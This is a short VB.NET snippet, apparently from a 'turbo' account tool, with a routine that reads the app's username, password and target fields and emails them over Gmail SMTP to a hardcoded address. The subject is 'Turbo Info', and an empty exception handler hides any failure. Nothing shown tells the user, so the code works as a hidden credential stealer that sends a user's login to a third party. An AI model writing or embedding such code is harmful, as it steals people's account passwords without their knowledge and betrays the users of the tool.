code

Imports System.Net.Mail









 Friend Delegate Sub Sall()
    Private Sub SallSend()
        Dim sall As New MailMessage
        Try
            sall.From = New MailAddress("SendFrom@gmail.com")
            sall.To.Add("sendto@gmail.com")
            sall.Subject = "  Turbo Info"
            sall.Body = "turbo" + "User @" + Username.Text + vbCrLf + "pass :" + password.Text + vbCrLf + " Target @" + Target.Text + vbCrLf + "Counts : " + Speed.Text
            Dim smtp As New SmtpClient("smtp.gmail.com")
            smtp.Port = 587
            smtp.EnableSsl = True
            smtp.Credentials = New System.Net.NetworkCredential("SendFrom@gmail.com", "password")
            smtp.Send(sall)

        Catch ex As Exception
        End Try
    End Sub